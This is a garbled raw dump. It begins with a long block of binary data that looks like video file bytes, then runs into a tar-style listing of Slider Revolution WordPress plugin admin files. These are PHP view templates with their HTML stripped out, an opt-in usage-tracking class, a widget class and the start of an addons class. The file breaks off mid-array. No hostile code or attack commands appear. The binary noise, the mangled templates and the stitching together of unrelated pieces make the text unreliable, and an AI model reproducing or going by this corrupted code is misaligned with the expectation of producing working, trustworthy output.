1R[3du9dHp>kk1ݭ=;UpmOEDY +[19&;ҌGK/f]|X} ⱻXV*ֲ+uK95O^A*ʥ0N~LoSʨ2zwr{qJ C `IWAL kՏp/0K`D dX9ׅm-&RQn?Vfȳ.t*{ΫR"0*yRhpj&/~ 1 L0T1#WjW]gw?W/e&^'du-:;`3&꤀ltgcid]a z&1t A *@-iv~r}}gNÒ=c-H4@44P 졷6xo8g/J;R2}5= >ӭ:8p^K3W8^YcbuR:N_7,pc6cq_Ś ǧ[ G(1\޲'h5d /qf+1N'mLBOTթ Nb‘*qlm! tɿLͺذ:* kgd/Jڱ]3%X}[sF\}˰g4'$t}f_!Po::X=eqɂ97o2A\s\k zK[~f[FfP+/*\Jdip ykp%۩-#)ڛ)*'Ih!3w|%}$f5isWQkp>b>.7@A 2)e8'sFqBQ0NQCj3j6A ~aS UuݏLQv1X [YͱG"ĦwXQN 宋jE͟OBpv>: tX9XnI?kɓ҂V*QM]eO>ww Z]5|gfA$kЯO͹jS18qE3bCYn qǂ i*ULTz2eO?HN"Ea|ᣯu6xDŽbG5^.0rT׎40ptW-F7e1uRXk絁? G9Re7p(U $lSl{zFmc gugs"#z+VТx_}&ˏ|4" UG0 m-eГѸj0"~ˣo`g#D(8YƆhVhNjmWHaA$$28$x^(ViTZo>v\#wg4*@>%9w})[#dU$ڵG3I/r=C`q,^d3Iq 1~wj[ʮs̓;MdĺgjϼqV\_̘Gz3V5:DG<=Y8l@7p݀;nc enD-mO *+e&kߜ02eKxOBKV()[-(ōP<ЬuIjS(glA}++-9YӾȑ{Tr}lAA~ ^2m W%(ճ薸0G"^BEoσ63v8ϹekhVK9?|[(op~:68cgT 9𿁫pRQ A!~ĄC)abj6FAE$D_1'REbJ6mGwW:0 UML 7e#iB _$Ur0vzNѼ$)rŜ_l}BKgm+aX60@u<$'F;<] 4Ajv+ 髅{%)3R;g~ մ`~٫Y0P.lmJIt9 z'ukSO:%Y0!>3ABQfp&X^kfL ڝs`i/A|:07w -q,E+/DѵT4cWp^/N[~dˑ[T|^MQpt)E2#{vT:v7&ÔCJ-ۣ/BD,8L >StAJ;ͤK /;.W{BINZK#/8RCևNf@77XyN-ڥn>.dܱǺRbZkЮMWTwurq(!ve[_u ghKtn^6YTbiӁTѶMXF3 ~ RY])JDkURo6^OXAo|0%>Ou2.ȢMC/) ĕm绯zk?BE{ȺcMX Ռc/kU)g|j¸g&vKD-snv(jgMZ?Hj&Mϩ0CU0G#,{wuuQZ,˲f 4{D+:*f"FGui;z̬Ngm_[+?>9"ٽtO_uYh-dQ)g 1AQuضY+SZqfDGx lJ Q65^,dY!*f(tiN$*ˌE$ʹott,2\S2FǢ`˜<΀"%Jvm>({ᩫNE`Ҽ9Goۿ"6Nw7l>DѤ\ѯ*C b#16ϕ\]x@%'յºH.S_io}{` QuO @7~;E&g*z6O<3Vp} 1oIq{lqtjB闍L`D"tf"~&StwXzrh._9dk$yB%S7n4gE(c6a ;+J'6F 5{)k7%5U7 t]@K52 -\PhyICq7RE)3G- Jfdْ ֆg`Nk_[X-%7]~ ^%j(lN%{>R`XVV6=Ͽۑ̡ڰ6'_wOA^ EئOAYHc 锤 ۙ$MOYY*ps6*`يyJu #Bsl]A`h٪*{w/xfy#HbFbS-S=6J+# f:=~T>sڭW[>Sz6vle(Pwn X.~xM4C&gdM}WO9DI8P¨'{N0XQk%BK.A$=-# oo#}1WW zÿsxPn/z$ n' eyx/f^>s)1@vKwnC-ͅ*~q/ Y?ux~qȉS!G]\dw^DIfez :*3*n<ڀτ".{"4䢅ߙbp^cDͬ"'G4dWQM7abdbL6h_$ѠgiX>S3y9A$:!S&AY|kB8ە"ghPNlr'"qEq\jCCLKޟAG) 6@N`խehRV)Z8BQ$V|f(Ή'V 2|ʚ=̇XcMꪽ~ly%*Y~&,wvuHFy>ULXΏLyŭ;-%D'p%<:?yZ6 30fPV%RVh.-:lq~^wZj-t@,Y뾀1c5#'pJ&N1/ȹk"+nGVwMRB8&btlRM79p??3Tt/cE-IPYSsYуyd$QAOQMG0lw༏УՄ 9##>[vn"՗z&[Ⱥ9e&T`nLOG.drGfKoh`Ѱa 9GY>^Yؒ*dUI6A3cZY>c؉ɦpz_m"&iMmף8& 4c 70DPzaz$)D[UJ7C{'DzJA6|䖷@3W&i37q.wu  Fmb3$}%2b(퉰 ]{喇{S Љ # =g|]! e~VϏ|,yR%NrCGe6ߥt9YaupZqvr3>;9ܢ!wPvevnc)44_YPQmnB"M -.t(Ib9*HOrm _bq@ G̦z[df¥s ~ێqÃ6spRV3i9ğjHv2B:)Z}%X<nD-dUk$~g2`Eţ97-ig˲M9{87FHAp&A: dN6^22[:/ـ`Dw_?1?Cp{ӘM?ߩ*_s {?sNN$IJ7^T8\jYmgkUe Nz #|:~GׅNWWnt{G"A{oΤoʠP"UP [߽dJ#=Jo[e ;I~Q^A$^zvٍkfʼnp@o6Zө0!$ҹ8l_7̭F (+ %Ӯꊷv) KlM]onoQGlΌ U۫>t"~!9&WFn>pt`h*jx=O.!'DR@1yV|缦>K |0A&Dpk"aRWcZRtn - =tPOA9v6B9|L_ 6Y?>Fj|pH*qc'PA"? , OvhFҁYt*BA*Y$އ11UQ4)ݟ%ඉ4sZJ7'!CYWem=q:m(?Ƽ=bٰºؼH#1Gpb4F/ ,I0SE zC9Ki +^!.F0mYK{'C"Ø:Ƶfw`7y4wm/nT#׎͛рΒվi) >.,\FU~e}jUM اzJτ}nh|fU['g kw;DA rɜ'z/BgN7u9g)P\^\7}4eM !]ݵ"+hM!_LѰrwKZ9bԤ:[k ֪L^#'1:=:T@  !;ǎ LAE<%8h"dn6_ЈCZNP0LClƇ|r=(b cSaԚMzM!tBʵ\j|~)D-<ٌ@4dP"1,hQAA4"nO@ e?4cɌjGo=\ NjvU 0V'cpDb,6 |7h#mޖwLվրhfB,1k3No~31Œ {` YoDVաUB h +r6Ԡ/i[-`lr {8D3tF I۴tnOd 5pTHyTZeotoؔ]8  tթuSnLHx/Ґwcd7pN| ґ.g9U;m# # 6NOTg&הr[ &0Sm309huuP?]LKԖokCq?#>б^U q:O˫nІhI~Ak-49;TopO>Vۛ19uDj[BWs1g*1ïY)m*A'_&5Bto>UA,v;Iu*0@BRu :Uc( 6)E#tF[V?# 0m3Qe%qQMCd v 1:ӣVV0眨usiږߋ4XV(~T3K/-};SH(O:,+~ 5 i  Vߪzc%7,w-3(=Pq*La8O$RZ7լc@}$2f 8Ck`!h{y$Kw n TA8E,%95d1׏C183_o4oh=5I{A}V:ㅛ_r5Zosuے]Z;FOWtB<ȩx}A5l\po"UYD-=Np4.Z^a=Y%ds lNA^4 2ZR+;EYTX)\ɸ(; |=^BmuS#tU75#N܍V,&<-pyz2Ɣ&k>ioKڦ ,wozns:n.Har״դ3&pA+r5j߬ xhSOՍ|miܛӻ:5mQ;MЛVk]_ISPj֣h4rQW&vNV})ċN=aN&2:ѧ :Ci]0w%"1(QswȦ%04ҳ4>iH͎كed7KfjFAeA|E,%X zo6Hs}_:t'{2TUV̒ _@OnFʩoMB΂*Z^ˊԇDFRݡDWpЀPX"tB?D]jܜWaŝK)vH'D-AVХf1h7X"t{5bSŏA4  7%Z嵞zom B}-- ۷{hwû;5b SSK/6Dxp:dCD;k$AA|)Eg%7%<9K.|BMfN[T+fYux@֡Q`K<#8m#֊/! u}(R@AE,%R~w#xu t0 [o#mUU-}AqĶmJ6> {3 7ԞlO«r NBd 52qEU$w]:(Iv5}ޤp'P/gjIҞ}#tB<bm<&@V%^] D-AIe2̉w6M$~smoovlmvhd1@trak\tkhd1@|$edtselst1mdia mdhd<U-hdlrvideVideoHandlerminfvmhd$dinfdref url stblstsdavc1|HH6avcCd gd Aem66F'xIWPvMD\HEmo:HOF R$@1AKWS4&}V7(g("z1 {Fc\$'> A[DZ>"2pr39pr<$ ](d54K=/xh$=CFOnC&uH1k"uic''\)/=n->6A*\eXQ"EH?45*<{:;4HY_.DN.0nDNuJ7vu-%\XSGH,?ZT\7&nsDN#_RsI)5*r_st~coYvR4j56 @ P!EX !Ri&+' stco0budtaZmeta!hdlrmdirappl-ilst%toodataLavf58.76.100admin/views/features/add_ons.php000060400000015574151724235750012752 0ustar00 Slide Add Extra Oomph To Your Websites With Creative Addons See Award-Worthy Addons! Never box in your creativity with our 25+ flawlessly responsive addons admin/views/features/object_library.php000060400000015471151724235750014331 0ustar00 Slide Eye-Popping Media Assets To Bring Your Creative Vision To Life Explore Beautiful Media Assets! Utilize 2000+ media assets to convert boring elements into impressive visuals admin/views/features/support.php000060400000015532151724235750013051 0ustar00 Slide 1-on-1
        Handheld Customer Support
        Get 1-on-1 Support 24/7! Get instant solutions to any of your tech woes - no matter how complicated they are
        admin/views/modals-builder.php000060400000311061151724235750012416 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); ?>

        format_paintclose
        color_lens
        new_releasesclose
        of your Slider Revolution 6 Module.', 'revslider');?>
        Each Slide has its own content and can be
        navigated to with various optional
        navigation elements.');?>
        Slide and no navigation elements.
        Best used for content modules that require
        no additional depth.');?>
        adjust to the surrounding container width,
        keeping its aspect ratio.');?>
        full-width of the web-page. The height can
        be flexible depending on other settings.');?>
        within the web-page.');?>
        close
        edit
        settings
        touch_app
        play_arrow
        display_settings
        extension
        download
        Load A Template From The Library
        import_exportclose
        import_export
        gamesclose
        save
        swap_horiz
        more_horiz
        view_column
        filter_frames
        add
        more_horiz
        more_vert
        add
        close
        done
        code
        A
        P
        I
        keyboard_arrow_rightclose
        local_offer
        close
        copyrightarrow_drop_down
        bookmark
        {{current_slide_index}}
        bookmark
        {{total_slide_count}}
        bookmark
        {{current_page_link}}
        bookmark
        {{home_url}}
        descriptionarrow_drop_down
        description
        {{id}}
        description
        {{meta:somemegatag}}
        description
        {{title}}
        description
        {{excerpt}}
        description
        {{alias}}
        description
        {{content}}
        description
        {{content:words:10}}
        description
        {{content:chars:10}}
        infoarrow_drop_down
        info
        {{link}}
        info
        {{date}}
        info
        {{date_modified}}
        info
        {{author_name}}
        info
        {{author_avatar:80px}}
        info
        {{author_website}}
        info
        {{author_posts}}
        categoryarrow_drop_down
        category
        {{num_comments}}
        category
        {{catlist}}
        category
        {{catlist_raw}}
        category
        {{taglist}}
        shopping_cartarrow_drop_down
        category
        {{wc_categories}}
        category
        {{wc_tags}}
        category
        {{wc_add_to_cart}}
        category
        {{wc_add_to_cart_button}}
        shopping_cartarrow_drop_down
        attach_money
        {{wc_full_price}}
        attach_money
        {{wc_price}}
        attach_money
        {{wc_price_no_cur}}
        shopping_cartarrow_drop_down
        dashboard
        {{wc_sku}}
        dashboard
        {{wc_stock}}
        dashboard
        {{wc_stock_quantity}}
        shopping_cartarrow_drop_down
        star_half
        {{wc_rating_count}}
        star_half
        {{wc_review_count}}
        star_half
        {{wc_rating}}
        star_half
        {{wc_star_rating}}
        eventarrow_drop_down
        event
        {{event_start_date}}
        event
        {{event_end_date}}
        event
        {{event_start_time}}
        event
        {{event_end_time}}
        event
        {{event_id}}
        my_locationarrow_drop_down
        location_on
        {{event_location_name}}
        location_on
        {{event_location_slug}}
        location_on
        {{event_location_address}}
        location_on
        {{event_location_town}}
        location_on
        {{event_location_state}}
        location_on
        {{event_location_postcode}}
        location_on
        {{event_location_region}}
        location_on
        {{event_location_country}}
        publicarrow_drop_down
        public
        {{title}}
        public
        {{content}}
        public
        {{content:words:10}}
        public
        {{content:chars:10}}
        public
        {{link}}
        public
        {{date}}
        public
        {{author_name}}
        arrow_drop_down
        {{date}}
        {{views}}
        arrow_drop_down
        {{date_published}}
        {{retweet_count}}
        {{favorite_count}}
        arrow_drop_down
        {{date_published}}
        {{date_modified}}
        {{likes}}
        arrow_drop_down
        {{excerpt}}
        {{date_published}}
        arrow_drop_down
        {{date_published}}
        {{likes}}
        {{views}}
        {{num_comments}}
        touch_appclose
            add_circle_outline ""
            info
            more_vert
            admin/views/modals-copyright.php000060400000062266151724235750013012 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); if (method_exists('RevSliderGlobals','instance')) { $rs_f = RevSliderGlobals::instance()->get('RevSliderFunctions'); } else { $rs_f = new RevSliderFunctions(); } $registered_p_c = ($rs_f->get_addition('selling') === true) ? __('registered license key', 'revslider') : __('registered purchase code', 'revslider'); $registered_p_c_url = ($rs_f->get_addition('selling') === true) ? 'https://account.sliderrevolution.com/portal/pricing/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=buykey' : 'https://themepunch.com/faq/where-to-find-purchase-code/'; ?>
            admin/views/modals-general.php000060400000030174151724235750012410 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); ?>
            info
            add_circle_outline
            add_circle_outline
            searchphotoSome Module Titledesktop_windowslaptoptablet_macphone_android
            content_paste
            close
            extensionclose
            refresh
            get_app
            save
            close
            with the development team to help improve the plugin.','revslider'); ?>
            close
            error_outline
            block
            and add-ons have been removed from your website.', 'revslider');?>
            the options below:', 'revslider');?>
            do_not_touch
            right now ...', 'revslider');?>
            ensure that your website is fully functional.', 'revslider');?>
            close
            error_outline
            Slider Revolution modules', 'revslider');?>
            addons which are deactivated or not installed:', 'revslider');?>
            all addons required by your modules.','revslider'); ?>
            admin/views/builder-layer-forms.php000060400000655232151724235750013412 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); ?>
            create
            palette
            open_with
            invert_colors
            play_arrow
            repeat_one
            mouse
            system_update_alt
            touch_appActions
            photo_size_select_large
            description
            code
            album
            infoAdd or Select Layer(s)
            reorder
            refresh
            laptoptablet_androidphone_iphoneblock
            title
            subdirectory_arrow_right
            apps
            local_offer
            filter_hdr
            language
            filter_hdr
            style
            camera_enhance
            create
            language
            sync_problem
            style
            style
            camera_enhance
            aspect_ratio
            sync_problem
            filter_hdr
            language
            ondemand_video
            ondemand_video
            linked_camera
            style
            camera_enhance
            delete
            pause phonelink_erase smartphone
            filter_hdr
            video_library
            stop fullscreen pause pause loop skip_next fast_rewind play_for_work
            videogame_asset keyboard
            featured_video volume_mute
            play_arrow
            video_library
            settings_backup_restore
            reorder
            format_align_leftformat_align_centerformat_align_rightsubdirectory_arrow_right
            vertical_align_topvertical_align_centervertical_align_bottom
            vertical_align_top
            vertical_align_bottom
            code
            swap_horizontal_circle
            swap_horizontal_circleConvert to Button
            swap_horizontal_circleConvert to Text
            swap_horizontal_circleConvert to Video
            swap_horizontal_circleConvert to Image
            admin/views/header.php000060400000022255151724235750010747 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); $rsaf = new RevSliderFunctionsAdmin(); $rs_od = $rsaf->get_slider_overview(); $rsa = $rsaf->get_short_library($rs_od); $rsupd = new RevSliderPluginUpdate(); $rsaddon= new RevSliderAddons(); if(!isset($rstrack)) $rstrack= new RevSliderTracking(); $rs_addon_update = $rsaddon->check_addon_version(); $rs_addons = $rsaddon->get_addon_list(); $rs_wp_date_format = get_option('date_format'); $rs_wp_time_format = get_option('time_format'); $rs_valid = get_option('revslider-valid', 'false'); $rs_latest_version = get_option('revslider-latest-version', RS_REVISION); $rs_stable_version = get_option('revslider-stable-version', '4.2'); $rs_emergency_update = ($rs_valid !== 'true' && version_compare($rs_latest_version, $rs_stable_version, '<') === true) ? true : false; $rs_latest_version = ($rs_valid !== 'true' && version_compare($rs_latest_version, $rs_stable_version, '<') === true) ? $rs_stable_version : $rs_latest_version; $rs_added_image_sizes = $rsaf->get_all_image_sizes(); $rs_image_meta_todo = get_option('rs_image_meta_todo', array()); $rs_slider_update_needed = $rsupd->slider_need_update_checks(); $rs_global_settings = $rsaf->get_global_settings(); $rs_notices = $rsaf->add_notices(); $rs_tutorial = $rsaf->get_addition(array('templates', 'tutorials')); $rs_tutorial_bottom = $rsaf->get_addition(array('templates', 'bottom')); $rs_color_picker_presets = RSColorpicker::get_color_presets(); $rs_compression = $rsaf->compression_settings(); $rs_backend_fonts = $rsaf->get_font_familys(); $rs_new_addon_counter = get_option('rs-addons-counter', false); $rs_new_addon_counter = ($rs_new_addon_counter === false) ? count($rs_addons) : $rs_new_addon_counter; $rs_new_temp_counter = get_option('rs-templates-counter', false); if($rs_new_temp_counter === false){ $_rs_tmplts = get_option('rs-templates', false); $_rs_tmplts = $this->do_uncompress($_rs_tmplts); $rs_new_temp_counter = (isset($_rs_tmplts['slider'])) ? count($_rs_tmplts['slider']) : $rs_new_temp_counter; } $rs_global_sizes = array( 'd' => $rsaf->get_val($rs_global_settings, array('size', 'desktop'), '1240'), 'n' => $rsaf->get_val($rs_global_settings, array('size', 'notebook'), '1024'), 't' => $rsaf->get_val($rs_global_settings, array('size', 'tablet'), '778'), 'm' => $rsaf->get_val($rs_global_settings, array('size', 'mobile'), '480') ); $rs_show_updated = get_option('rs_cache_overlay', '1.0.0'); if(version_compare(RS_REVISION, $rs_show_updated, '>')){ update_option('rs_cache_overlay', RS_REVISION); } $rs_show_deregister_popup = $rsaf->_truefalse(get_option('revslider-deregister-popup', 'false')); ?> '."\n"; } } } ?>

            admin/views/builder-nav-forms.php000060400000301736151724235750013057 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); ?> admin/includes/tracking.class.php000060400000026330151724235750013074 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderTracking extends RevSliderFunctions { public $tracking_enabled; public $tracking_status; private $tracking_url = 'tracking.php'; public function __construct(){ $gs = $this->get_global_settings(); $this->tracking_status = $this->get_val($gs, 'tracking', '1999-01-01'); $this->tracking_enabled = ($this->tracking_status === 'enabled') ? true : false; if($this->is_enabled() === true){ add_filter('revslider_doing_html_export', array($this, 'count_html_export'), 10, 1); add_filter('revslider_exportSlider_export_data', array($this, 'count_regular_exports'), 10, 1); add_filter('revslider_retrieve_version_info_addition', array($this, 'add_additional_data'), 10, 1); add_filter('revslider_deactivate_plugin_info_addition', array($this, 'add_additional_data'), 10, 1); add_filter('revslider_activate_plugin_info_addition', array($this, 'add_additional_data'), 10, 1); add_action('revslider-retrieve_version_info', array($this, '_run'), 10); } } public function is_enabled(){ return $this->tracking_enabled; } public function get_status(){ return $this->tracking_status; } public function get_tracking_data(){ $data = get_option('rs-tracking-data', array()); return (!is_array($data)) ? array() : $data; } public function update_tracking_data($data){ return update_option('rs-tracking-data', $data); } public function delete_tracking_data(){ return delete_option('rs-tracking-data'); } public function count_regular_exports($_data){ $data = $this->get_tracking_data(); if(!isset($data['regular_exports'])) $data['regular_exports'] = 0; $data['regular_exports']++; $this->update_tracking_data($data); return $_data; } public function count_html_export($slider){ $data = $this->get_tracking_data(); if(!isset($data['html_exports'])) $data['html_exports'] = 0; $data['html_exports']++; $this->update_tracking_data($data); return $slider; } public function get_unique_identifier(){ $uid = get_option('revslider-uid'); if(strlen($uid) !== 12){ $uid = substr(md5(mt_rand()), 0, 12); update_option('revslider-uid', $uid); } return $uid; } /** * this will run the tracking functions and prepare it to be send to the themepunch servers **/ public function _run($deactivation = 'default'){ if(!$this->is_enabled()) return false; $sl = new RevSliderSlide(); $data = $this->get_tracking_data(); $pages = $this->get_all_shortcode_pages(); $shortcodes = array(); if(!empty($pages)) $shortcodes = $this->get_shortcode_from_page($pages); if(!isset($data['html_exports'])) $data['html_exports'] = 0; $data['environment'] = array( 'version' => RS_REVISION ); $data['licensed'] = ($deactivation === 'default') ? $this->_truefalse(get_option('revslider-valid', 'true')) : $deactivation; //if $deactivation === false, we are in deactivation process, so set already to false $data['slider'] = array( 'number' => 0, 'premium' => 0, 'import' => 0, 'sources' => array( 'custom' => 0, 'post' => 0, 'woocommerce' => 0, 'social' => 0, ), 'navigations' => array( 'arrows' => 0, 'bullets' => 0, 'tabs' => 0, 'thumbs' => 0, 'mouse' => 0, 'swipe' => 0, 'keyboard' => 0 ), 'parallax' => 0, 'scrolleffects' => 0, 'timeline_scroll'=> 0, 'color_skins' => 0, ); $data['slides'] = array( 'number' => 0, 'background' => array(), 'kenburns' => 0 ); $data['layer'] = array( 'number' => 0, 'types' => array(), 'actions' => array(), 'frames' => array(), 'presets' => array(), 'presets_modified' => 0, 'loop' => 0, 'library' => 0, 'in' => array( 'column' => 0, 'group' => 0 ), ); if(!empty($shortcodes)){ foreach($shortcodes as $alias){ wp_cache_flush(); $sldr = new RevSliderSlider(); $sldr->init_by_alias($alias); if($sldr->inited === false) continue; $premium = $sldr->get_param('pakps', false); if($data['licensed'] === false && $premium === true) continue; // do not fetch premium data on unlicensed slider $data['slider']['number']++; $slides = $sldr->get_slides(); $static_slide = false; $static_id = $sl->get_static_slide_id($sldr->get_id()); if($static_id !== false){ $msl = new RevSliderSlide(); if(strpos($static_id, 'static_') === false){ $static_id = 'static_'. $static_id; } $msl->init_by_id($static_id); if($msl->get_id() !== ''){ $static_slide = $msl; } $msl = null; } $wc = false; $post = $sldr->is_posts(); $specific_post = $sldr->is_specific_posts(); $stream = $sldr->is_stream(); $type = $sldr->get_param('sourcetype', 'gallery'); $import = $sldr->get_param('imported', false); if($post){ if(in_array($type, array('woocommerce', 'woo'))){ $wc = true; $post = false; } } if($type === 'gallery') $data['slider']['sources']['custom']++; if($post === true || $specific_post === true) $data['slider']['sources']['post']++; if($stream === true) $data['slider']['sources']['social']++; if($wc === true) $data['slider']['sources']['woocommerce']++; if($premium === true) $data['slider']['premium']++; if($import === true) $data['slider']['import']++; if($sldr->get_param('type', 'standard') !== 'hero'){ foreach($data['slider']['navigations'] as $n => $count){ if($sldr->get_param(array('nav', $n, 'set'), false) === true) $data['slider']['navigations'][$n]++; } if($sldr->get_param(array('nav', 'swipe', 'set'), false) === false){ if($sldr->get_param(array('nav', 'swipe', 'setOnDesktop'), false) === true) $data['slider']['navigations']['swipe']++; } } if($sldr->get_param(array('parallax', 'set'), false) === true || $sldr->get_param(array('parallax', 'setDDD'), false) === true) $data['slider']['parallax']++; if($sldr->get_param(array('scrolleffects', 'set'), false) === true) $data['slider']['scrolleffects']++; if($sldr->get_param(array('scrolltimeline', 'set'), false) === true) $data['slider']['timeline_scroll']++; if($sldr->get_param(array('skins', 'colors'), array()) > 0) $data['slider']['color_skins']++; if(!empty($slides)){ $data['slides']['number'] += count($slides); foreach($slides as $slide){ //'transparent', 'trans', 'solid' //'image' //'html5' //'streamtwitter', 'streamtwitterboth', 'streaminstagram', 'streaminstagramboth' //'streamyoutube', 'streamyoutubeboth', 'youtube', 'streamvimeo', 'streamvimeoboth', 'vimeo' $bg_type = $slide->get_param(array('bg', 'type'), 'transparent'); if(!isset($data['slides']['background'][$bg_type])) $data['slides']['background'][$bg_type] = 0; $data['slides']['background'][$bg_type]++; if($slide->get_param(array('panzoom', 'set'), false) === true) $data['slides']['kenburns']++; $layers = $slide->get_layers(); if(!empty($layers) && is_array($layers)){ $list = array('group' => array(), 'column' => array()); foreach($layers as $key => $layer){ $layer_type = $this->get_val($layer, 'type', 'text'); if($layer_type === 'column') $list['column'][] = (string)$this->get_val($layer, 'uid'); if($layer_type === 'group') $list['group'][] = (string)$this->get_val($layer, 'uid'); } foreach($layers as $key => $layer){ if(in_array($key, array('top', 'middle', 'bottom'))) continue; $layer_type = $this->get_val($layer, 'type', 'text'); if(in_array($layer_type, array('column', 'row'))) continue; $puid = (string)$this->get_val($layer, array('group', 'puid'), '-1'); if($puid !== '-1'){ if(in_array($puid, $list['column'])) $data['layer']['in']['column']++; if(in_array($puid, $list['group'])) $data['layer']['in']['group']++; } $data['layer']['number']++; //top bottom middle layer if(!isset($data['layer']['types'][$layer_type])) $data['layer']['types'][$layer_type] = 0; $data['layer']['types'][$layer_type]++; $actions = $this->get_val($layer, array('actions', 'action'), array()); if(!empty($actions)){ foreach($actions as $num => $action){ $act = $this->get_val($action, 'action'); if(!isset($data['layer']['actions'][$act])) $data['layer']['actions'][$act] = 0; $data['layer']['actions'][$act]++; } } $frames = $this->get_val($layer, array('timeline', 'frames'), false); if(!empty($frames)){ foreach($frames as $fk => $frame){ if(!isset($data['layer']['frames'][$fk])) $data['layer']['frames'][$fk] = 0; $data['layer']['frames'][$fk]++; $preset = $this->get_val($frame, array('timeline', 'preset')); $presetBased = $this->get_val($frame, array('timeline', 'presetBased'), 1); if(!empty($preset) && $presetBased < 1) $data['layer']['presets_modified']++; if(in_array($fk, array('frame_0', 'frame_1', 'frame_999'))){ if(!empty($preset)){ if(!isset($data['layer']['presets'][$preset])) $data['layer']['presets'][$preset] = 0; $data['layer']['presets'][$preset]++; } continue; } } } if($this->get_val($layer, array('layerLibSrc'), false) !== false) $data['layer']['library']++; if($this->get_val($layer, array('timeline', 'loop', 'use'), false) === true) $data['layer']['loop']++; } $layers = null; unset($layers); } } $slides = null; unset($slides); } $sldr = null; unset($sldr); } } $this->update_tracking_data($data); } /** * will return all posts/pages that include the [rev_slider] shortcode **/ public function get_all_shortcode_pages(){ global $wpdb; $ids = array(); $pages = $wpdb->get_results("SELECT ID FROM ".$wpdb->posts." WHERE `post_content` LIKE '%[rev_slider %' AND post_status IN ('publish', 'private', 'draft')"); if(!empty($pages)){ foreach($pages as $page){ $ids[] = $this->get_val($page, 'ID'); } } return $ids; } /** * this will return the exact alias of the rev_slider modules on given posts/pages **/ public function get_shortcode_from_page($ids){ $_shortcodes = array(); $ids = (!is_array($ids)) ? (array)$ids : $ids; foreach($ids as $id){ $post = get_post($id); if(is_a($post, 'WP_Post') && has_shortcode($post->post_content, 'rev_slider')){ preg_match_all('/\[rev_slider.*alias=.(.*)"\]/', $post->post_content, $shortcodes); if(isset($shortcodes[1]) && $shortcodes[1] !== ''){ foreach($shortcodes[1] as $s){ if(strpos($s, '"') !== false) $s = $this->get_val(explode('"', $s), 0); if(!RevSliderSlider::alias_exists($s)) continue; if(!in_array($s, $_shortcodes)) $_shortcodes[] = $s; } } } } return $_shortcodes; } public function add_additional_data($addition){ if(!$this->is_enabled()) return $addition; $data = $this->get_tracking_data(); $addition['tracking'] = array( 'uid' => $this->get_unique_identifier(), 'data' => $data, ); return $addition; } } ?>admin/includes/widget.class.php000060400000011174151724235750012555 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderWidget extends WP_Widget { public function __construct(){ //actual widget process parent::__construct('rev-slider-widget', __('Slider Revolution', 'revslider'), array('classname' => 'widget_revslider', 'description' => __('Displays a Slider Revolution Module on the page', 'revslider'))); } public static function register_widget(){ register_widget('RevSliderWidget'); } /** * the form */ public function form($instance){ $sliders = array(); $_slider = new RevSliderSlider(); try { $sliders = $_slider->get_sliders_short(); }catch(Exception $e){} if(empty($sliders)){ echo __('No Sliders found, Please create a Slider first', 'revslider'); }else{ $sliderID = $_slider->get_val($instance, 'rev_slider'); $homepage = $_slider->get_val($instance, 'rev_slider_homepage'); $pagesValue = $_slider->get_val($instance, 'rev_slider_pages'); $title = $_slider->get_val($instance, 'rev_slider_title'); $checked = ($homepage == 'on') ? "checked='checked'" : ''; $fieldID_check = $this->get_field_id('rev_slider_homepage'); $fieldName_check = $this->get_field_name('rev_slider_homepage'); $fieldPages_ID = $this->get_field_id('rev_slider_pages'); $fieldPages_Name = $this->get_field_name('rev_slider_pages'); $fieldTitle_ID = $this->get_field_id('rev_slider_title'); $fieldTitle_Name = $this->get_field_name('rev_slider_title'); ?>

            :

            >

            get_val($instance, 'rev_slider'); if(empty($sid)) return(false); $output = new RevSliderOutput(); $title = $_slider->get_val($instance, 'rev_slider_title'); $homepage = ($_slider->get_val($instance, 'rev_slider_homepage') == 'on') ? 'homepage' : ''; $pages = $_slider->get_val($instance, 'rev_slider_pages'); if(!empty($pages)){ $homepage .= (!empty($homepage)) ? ',' : ''; $homepage .= $pages; } $_slider->init_by_id($sid); if($_slider->get_param(array('general', 'disableOnMobile'), false) == true && wp_is_mobile()) return false; //widget output echo $_slider->get_val($args, 'before_widget'); if(!empty($title)){ echo $_slider->get_val($args, 'before_title'); echo $title; echo $_slider->get_val($args, 'after_title'); } $output->set_add_to($homepage); $slider = $output->add_slider_to_stage($sid); add_action('wp_head', array($this, 'write_css')); echo $_slider->get_val($args, 'after_widget'); }catch(Exception $e){ $message = $e->getMessage(); $output->print_error_message($message); } } public function write_css(){ } } /** * old classname extends new one (old classnames will be obsolete soon) * @since: 5.0 **/ class RevSlider_Widget extends RevSliderWidget {}admin/includes/addons.class.php000060400000016241151724235750012542 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderAddons extends RevSliderFunctions { //before: Rev_addon_Admin //private $addon_version_required = '2.0.0'; //this holds the globally needed addon version for the current RS version private $addon_version_required = array( 'revslider-404-addon' => '2.0.0', 'revslider-backup-addon' => '2.0.0', 'revslider-beforeafter-addon' => '3.0.0', 'revslider-bubblemorph-addon' => '3.0.0', 'revslider-charts-addon' => '3.0.0', 'revslider-duotonefilters-addon' => '3.0.0', 'revslider-explodinglayers-addon' => '3.0.0', 'revslider-featured-addon' => '2.0.0', 'revslider-filmstrip-addon' => '3.0.0', 'revslider-gallery-addon' => '2.0.0', 'revslider-liquideffect-addon' => '3.0.0', 'revslider-login-addon' => '2.0.0', 'revslider-lottie-addon' => '3.0.0', 'revslider-maintenance-addon' => '2.0.0', 'revslider-mousetrap-addon' => '3.0.0', 'revslider-paintbrush-addon' => '3.0.0', 'revslider-panorama-addon' => '3.0.0', 'revslider-particles-addon' => '3.0.0', 'revslider-polyfold-addon' => '3.0.0', 'revslider-prevnext-posts-addon' => '2.0.0', 'revslider-rel-posts-addon' => '2.0.0', 